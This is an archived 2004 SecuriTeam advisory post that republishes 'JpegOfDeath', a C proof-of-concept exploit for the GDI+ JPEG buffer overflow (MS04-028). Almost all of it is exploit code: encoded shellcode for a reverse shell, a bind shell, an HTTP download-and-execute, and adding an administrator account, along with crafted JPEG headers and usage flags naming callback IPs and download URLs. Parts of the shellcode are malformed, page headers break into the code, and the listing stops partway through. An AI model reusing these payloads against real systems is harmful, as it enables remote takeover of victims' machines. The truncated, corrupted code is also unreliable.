

[EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0026.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/06/04

To: list@securiteam.com

Date: 6 Oct 2004 11:54:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

JpegOfDeath – an Advanced JPEG (GDI+) Exploit

SUMMARY

In a previously reported article,

<<http://www.securiteam.com/windowsntfocus/5VP0H1FE0W.html>> Buffer Overrun in JPEG Processing (GDI+) Allows Code Execution (MS04-028), a buffer overflow vulnerability in parsing JPEG comments was reported by Microsoft.

Presented below is a proof of concept exploit program that will generate a JPEG file exploiting this vulnerability, this exploit code, unlike the ones released previously will allow you to do a variety of things: bind a shell to a port, reverse connect a shell to a port, download a file from an HTTP server or add a new administrative user.

DETAILS

Exploit:

/*

* Exploit Name:

* =====

* JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload

* =====

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
* Tweaked Exploit By M4Z3R For GSO
* All Credits & Greetings Go To:
* =====
* FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
* Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
* Nick Fitzgerald, Adam Nance (where are you?),
* Santa Barbara, Jenna Jameson, John Kerry, so1o,
* Computer Security Industry, Rom Hackers, My chihuahuas
* (Rocky, Sailor, and Penny)...
* =====
* Flags Usage:
* -a: Add User X with Pass X to Admin Group;
* IE: Exploit.exe -a pic.jpg
* -d: Download a File From an HTTP Server;
* IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell To a Specified IP on a Specific Port;
* IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337)
* -b: Bind a Shell on The Exploited Machine On a Specific Port;
* IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)
* Disclaimer:
* =====
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
*
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
```

```
// Exploit Data...
```

```
char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
"\x92\xf8\xa2\xcb\xf6\x19\x93\x19\xd2\x9e\x19\xe2\x8e\x3f\x19\xca"  
"\x9a\x79\xe9\x1f\xc5\xb6\xc3\xc0\x6d\x42\x1b\x51\xcb\x79\x82\xf8"  
"\x9a\xcc\x93\x7c\xf8\x9a\xcb\x19\xef\x92\x12\x6b\x96\xe6\x76\xc3"  
"\xc1\x6d\xa6\x1d\x7a\x1a\x92\x92\x92\xcb\x1b\x96\x1c\x70\x79\xa3"  
"\x6d\xf4\x13\x7e\x02\x93\xc6\xfa\x93\x93\x92\x92\x6d\xc7\x8a\xc5"  
"\xc5\xc5\xc5\xd5\xc5\xd5\xc5\x6d\xc7\x86\x1b\x51\xa3\x6d\xfa\xdf"  
"\xdf\xdf\xdf\xfa\x90\x92\xb0\x83\x1b\x73\xf8\x82\xc3\xc1\x6d\xc7"  
"\x82\x17\x52\xe7\xdb\x1f\xae\xb6\xa3\x52\xf8\x87\xcb\x61\x39\x54"  
"\xd6\xb6\x82\xd6\xf4\x55\xd6\xb6\xae\x93\x93\x1b\xce\xb6\xda\x1b"  
"\xce\xb6\xde\x1b\xce\xb6\xc2\x1f\xd6\xb6\x82\xc6\xc2\xc3\xc3\xc3"  
"\xd3\xc3\xdb\xc3\xc3\x6d\xe7\x92\xc3\x6d\xc7\xba\x1b\x73\x79\x9c"  
"\xfa\x6d\x6d\x6d\x6d\x6d\xa3\x6d\xc7\xb6\xc5\x6d\xc7\x9e\x6d\xc7"  
"\xb2\xc1\xc7\xc4\xc5\x19\xfe\xb6\x8a\x19\xd7\xae\x19\xc6\x97\xea"  
"\x93\x78\x19\xd8\x8a\x19\xc8\xb2\x93\x79\x71\xa0\xdb\x19\xa6\x19"  
"\x93\x7c\xa3\x6d\x6e\xa3\x52\x3e\xaa\x72\xe6\x95\x53\x5d\x9f\x93"  
"\x55\x79\x60\xa9\xee\xb6\x86\xe7\x73\x19\xc8\xb6\x93\x79\xf4\x19"  
"\x9e\xd9\x19\xc8\x8e\x93\x79\x19\x96\x19\x93\x7a\x79\x90\xa3\x52"  
"\x1b\x78xcd\xcc\xcf\xc9\x50\x9a\x92\x65\x6d\x44\x58\x4f\x52";
```

```
char bind_shellcode[] =  
"\xd9\xe1\xd9\x34\x24\x58\x58\x58"  
"\x58\x80\xe8\xe7\x31\xc9\x66\x81\xe9\x97\xfe\x80\x30\x92\x40\xe2"  
"\xfa\x7a\xaa\x92\x92\x92\xd1\xdf\xd6\x92\x75xeb\x54\xeb\x77\xdb"  
"\x14\xdb\x36\x3f\xbc\x7b\x36\x88\xe2\x55\x4b\x9b\x67\x3f\x59\x7f"  
"\x6e\xa9\x1c\xdc\x9c\x7e\xec\x4a\x70\xe1\x3f\x4b\x97\x5c\xe0\x6c"  
"\x21\x84\xc5\xc1\xa0xcd\xa1\xa0\xbc\xd6\xde\xde\x92\x93\xc9\xc6"  
"\x1b\x77\x1b\xcf\x92\xf8\xa2\xcb\xf6\x19\x93\x19\xd2\x9e\x19\xe2"  
"\x8e\x3f\x19\xca\x9a\x79\xe9\x1f\xc5\xbe\xc3\xc0\x6d\x42\x1b\x51"  
"\xcb\x79\x82\xf8\x9a\xcc\x93\x7c\xf8\x98\xcb\x19\xef\x92\x12\x6b"  
"\x94\xe6\x76\xc3\xc1\x6d\xa6\x1d\x7a\x07\x92\x92\x92\xcb\x1b\x96"  
"\x1c\x70\x79\xa3\x6d\xf4\x13\x7e\x02\x93\xc6\xfa\x93\x93\x92\x92"  
"\x6d\xc7\xb2\xc5\xc5\xc5\xc5\xd5\xc5\xd5\xc5\x6d\xc7\x8e\x1b\x51"  
"\xa3\x6d\xc5\xc5\xfa\x90\x92\x83\xce\x1b\x74\xf8\x82\xc4\xc1\x6d"  
"\xc7\x8a\xc5\xc1\x6d\xc7\x86\xc5\xc4\xc1\x6d\xc7\x82\x1b\x50\xf4"  
"\x13\x7e\xc6\x92\x1f\xae\xb6\xa3\x52\xf8\x87\xcb\x61\x39\x1b\x45"  
"\x54\xd6\xb6\x82\xd6\xf4\x55\xd6\xb6\xae\x93\x93\x1b\xee\xb6\xda"  
"\x1b\xee\xb6\xde\x1b\xee\xb6\xc2\x1f\xd6\xb6\x82\xc6\xc2\xc3\xc3"  
"\xc3\xd3\xc3\xdb\xc3\xc3\x6d\xe7\x92\xc3\x6d\xc7\xa2\x1b\x73\x79"  
"\x9c\xfa\x6d\x6d\x6d\x6d\x6d\xa3\x6d\xc7\xbe\xc5\x6d\xc7\x9e\x6d"  
"\xc7\xba\xc1\xc7\xc4\xc5\x19\xfe\xb6\x8a\x19\xd7\xae\x19\xc6\x97"  
"\xea\x93\x78\x19\xd8\x8a\x19\xc8\xb2\x93\x79\x71\xa0\xdb\x19\xa6"  
"\x19\x93\x7c\xa3\x6d\x6e\xa3\x52\x3e\xaa\x72\xe6\x95\x53\x5d\x9f"  
"\x93\x55\x79\x60\xa9\xee\xb6\x86\xe7\x73\x19\xc8\xb6\x93\x79\xf4"  
"\x19\x9e\xd9\x19\xc8\x8e\x93\x79\x19\x96\x19\x93\x7a\x79\x90\xa3"  
"\x52\x1b\x78xcd\xcc\xcf\xc9\x50\x9a\x92\x65\x6d\x44\x58\x4f\x52";
```

```
char http_shellcode[]=  
"\xeb\x0f\x58\x80\x30\x17\x40\x81\x38\x6d\x30\x30\x21\x75\xf4"  
"\xeb\x05\xe8xec\xff\xff\xff\xfe\x94\x16\x17\x17\x4a\x42\x26"  
"\xcc\x73\x9c\x14\x57\x84\x9c\x54\xe8\x57\x62\xee\x9c\x44\x14"  
"\x71\x26\xc5\x71\xaf\x17\x07\x71\x96\x2d\x5a\x4d\x63\x10\x3e"
```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48"  
"\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB"  
"\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65"  
"\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17"  
"\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10"  
"\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"  
"\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED"  
"\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13"  
"\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17"  
"\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17"  
"\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8"  
"\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE"  
"\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17"  
"\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17"  
"\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40"  
"\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8"  
"\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17"  
"\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17"  
"\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1"  
"\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7"  
"\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92"  
"\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A"  
"\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40"  
"\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50"  
"\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B"  
"\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65"  
"\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72"  
"\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B"  
"\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E"  
"\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72"  
"\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56"  
"\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65"  
"\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73"  
"\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27"  
"\x27\x39\x72\x6F\x72\x17"
```

"m00!";

char admin_shellcode[] =

```
"\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"  
"\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"  
"\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"  
"\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"  
"\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"  
"\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"  
"\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"  
"\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"  
"\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"  
"\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"  
"\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"  
"\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"  
"\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
"\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"  
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"  
"\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"  
"\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"  
"\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"  
"\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";
```

char header1[] =

```
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"  
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"  
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"  
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"  
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"  
"\x2E\x3E\x35\x35\x35\x35\x3E";
```

char setNOPs1[] =

```
"\xE8\x00\x00\x00\x5B\x8D\x8B"  
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
```

char setNOPs2[] =

```
"\x3E\xE8\x00\x00\x00\x5B\x8D\x8B"  
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
```

char header2[] =

```
"\x44"  
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"  
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"  
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"  
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"  
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"  
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"  
"\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"  
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"  
"\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"  
"\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"  
"\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"  
"\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"  
"\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"  
"\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"  
"\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"  
"\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"  
"\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"  
"\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"  
"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"  
"\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"  
"\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"  
"\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"  
"\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"  
"\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"  
"\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
"\x35\x35\xa2\x80\x4d\xfa\x72\x31\x07\x9d\x03\x70\xa8\x93\x24\x4f"  
"\x89\x51\x83\x5e\xa4\x2e\x7a\xc0\x7d\xa9\x8a\x10\x61\x64\x07\xfa"  
"\x88\xc6\x89\x26\xda\x0f\x20\xbd\xb9\x16\xd2\xa8\xe8\x91\x3f\x1a"  
"\xe2\xba\xf0\xbe\x74\xab\x1d\xc4\x44\x15\x1a\x8a\x9c\xc7\x2a\x6b"  
"\xa3\x33\xb7\xe1\x88\x47\x69\xa9\x64\x68\x26\xc1\x97\x0b\xd6\x86"  
"\x8b\x1b\x29\xc6\x87\xe4\xc7\xfd\xcc\x53\x11\xa5\x9c\x62\x6a\xe5"  
"\x40\x37\x61\x89\xf6\xb2\x9c\x2a\x7c\xfd\x05\x6a\x30\x5f\x52\x02"  
"\xeb\x72\xbf\x7d\x74\x4c\x23\xb9\x8f\xd8\x78\x67\x54\x59\x64\x47"  
"\xc5\x75\x21\x18\xd5\xe3\x58\xe1\x72\x63\xbf\x6d\xbd\xcb\xca\x82"  
"\x65\xe7\xdb\x09\x54\x4f\x0d\x95\x86\x76\xe3\xf2\xa0\x48\x82\x55"  
"\xd7\xa6\xce\xa7\xaa\xdc\xa6\xf1\xa9\x8e\xe0\x35\xc1\xca\xa1\xd4"  
"\x93\xd2\xd6\x39\x95\x3c\x6b\x46\x60\xac\xc1\x3b\x60\xc9\x70\x84"  
"\x8e\xa1\x9a\x9a\x20\x01\x94\xca\x08\x91\x53xdc\x01\xb1\xb5\x12"  
"\x37\x11\xc6\xc1\xac\xf1\x11\xd4\x9c\x6b\x3e\x69\x76\xf0\x1d\x7b"  
"\x52\x6d\xc9\xa8\x66\x94\xbb\x79\x8f\x7e\xde\x17\xfd\x4d\xab\xe1"  
"\x76\x7a\xa3\x2b\xe2\x50\x06\xb7\x2c\xeb\x2a\x49\xc9\xea\x4e\x9b"  
"\xe7\xca\xaf\xe1\xec\x23\xdc\x8b\xe1\x6b\x5f\x1a\x9b\xe8\x49\x2e"  
"\x63\xe5\x03\x32\xcd\x19\xb8\x23\x10\x78\x1f\x85\x5c\x15\x8c\x97"  
"\x84\x9b\xdb\x15\x35\x9f\x16\xe0\xe1\x86\xb9\x8f\x97\x11\x4e\xda"  
"\x35\x02\x45\x25\x93\xf8\x55\x24\x17\xb9\x1b\xf5\xc8\x07\xa9\xe2"  
"\x2a\x76\xb0\xc2\x37\x01\x95\xad\x81\xb6\x1c\xa6\xa2\x38\xd9\xae"  
"\xca\x59\x18\x75\x25\xff\x00\x81\xae\xd8\xe8\xbb\x47\x62\xac\xb7"  
"\xb6\xa1\x8d\x40\xe3\x86\x65\x6d\xe1\xdb\x89\x2f\x9d\xcd\x6b\x24"  
"\x62\x41\x61\x89\xac\x2d\x8b\x3e\xb6\x68\xc0\x63\x73\x70\x6b\x6b"  
"\x6a\xa1\x7a\xac\x56\xe7\x11\x56\x58\xd4\x13\xa4\x0b\xb6\xeb\xb3"  
"\x3b\x47\x22\x95\xd3\x53\x2e\xea\x19\x86\x96\xf7\x03\x83\x52\x9e"  
"\x54\xab\x6e\x58\x63\x7c\x33\xce\x93\xb1\x19\x1c\xe9\xdb\xaa\x35"  
"\xbf\x46\x8d\xd4\xd2\x56\xe0\xe0\x33\xa1\x4d\x0a\x4e\x3b\xb1\xcd"  
"\xd4\x06\x44\x56\x4a\xcd\x24\x26\xea\x6d\x7a\x87xdc\x3b\x60\x6d"  
"\xfc\x2a\x86\x1b\x97\x36\x6d\x42\x04\xa0\x11\xee\xe7\x46\x22\x35"  
"\xd5\x26\xb0\x1c\x0b\x7c\x69\x5f\x06\xec\x5a\xc5\x0b\x46\x70\x27"  
"\xf2\xd4\x79\xad\x89\xda\x30\x74\xbd\x98\xe4\x68\x58\x86\xe4\x1b"  
"\x69\xb9\xdc\x2b\x30\x87\x48\x53\xc5\x85\x3b\xdd\x8a\x4e\xb5\x42"  
"\xb2\x8c\x6e\x2c\x01\xf8\x56\x04\x7b\xc9\xa3\x05\x4f\xb4\xd5\xa2"  
"\xdf\xf6\xfd\xc6\xe2\xa7\x3c\x89\x24\xfe\xa9\x5e\xc3\xd4\x6d\xf7"  
"\x85\xc9\x59\x39\x63\x59\x9b\xff\x00\x06\x1a\x5e\xfa\x69\x0a\x46"  
"\x2b\xc0\x9f\xc2\x91\x8b\xc9\x40\x58\x16\xbd\xf2\xc0\xd3\x3b\x7f"  
"\x2d\xa9\xbb\x2e\x49\x42\x6d\x52\x70\x39\x62\x9f\x08\x73\x6f\x20"  
"\x09\x64\x00\x01\x83\x2b\x00\xd5\x97\xbc\xdc\xf6\x9c\xa7\x66\xe8"  
"\xd9\xb6\x9f\xe1\x56\xde\xba\xec\x65\xb4\x44\xd8\xe3\x8d\x52\x2f"  
"\x36\xce\x74\x33\x7e\x9f\x2e\x22\x99\x8b\xc9\x6d\x5a\x6d\x9e\xa8"  
"\x22\xc7\x0c\xa8\x62\x3d\x17\x1d\x2f\xc8\xfa\xd4\xb0\x9e\x14\x45"  
"\x45\xd5\x6e\x96\x04\xe1\xf1\xa0\x37\x90\x5b\xd8\x7f\x81\x57\x1b"  
"\xc8\xd5\x48\x27\x0e\x3c\x6b\x3d\xcd\x44\x15\x92\x41\x25\x94\x82"  
"\xae\x0e\x42\x97\x8d\x8c\x6d\xae\x56\xb8\x26\xd8\x0f\xe3\x43\x93"  
"\x73\x18\x75\x28\xd7\xf8\xd5\xff\x00\x74\xe4\x18\xc2\x82\xac\x6f"  
"\x86\x7f\x2a\x4c\xbe\xe5\xfc\xd2\x22\xcc\x9a\x32\xd1\x7c\x7d\x68";
```

```
char admin_header0[]=  
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"  
"\xffxec\x00\x11\x44\x75\x63\x6b\x79\x00\x01\x00\x04\x00\x00\x00\x0a\x00\x00"
```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
"\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"  
;  
char admin_header1[]=  
"\xFF\xFE\x00\x01"  
;  
char admin_header2[]=  
"\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"  
;  
char admin_header3[]=  
"\xEB\x0F\x26\x32"  
;  
char admin_header4[]=  
"\xDC\xB1\xE7\x70"  
;  
char admin_header5[]=  
"\x26\x2E\x3E\x35\x35\x35\x35\x3E"  
"\xE8\x00\x00\x00\x5B\x8D\x8B"  
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"  
;  
char admin_header6[]=  
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"  
"\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14"  
"\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C"  
"\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C"  
"\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D"  
"\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32"  
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"  
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"  
"\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22"  
"\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01"  
"\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05"  
"\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02"  
"\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05"  
"\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08"  
"\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17"  
"\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43"  
"\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"  
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85"  
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4"  
"\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3"  
"\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1"  
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8"  
"\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01"  
"\x01\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A"  
"\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04"
```


Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
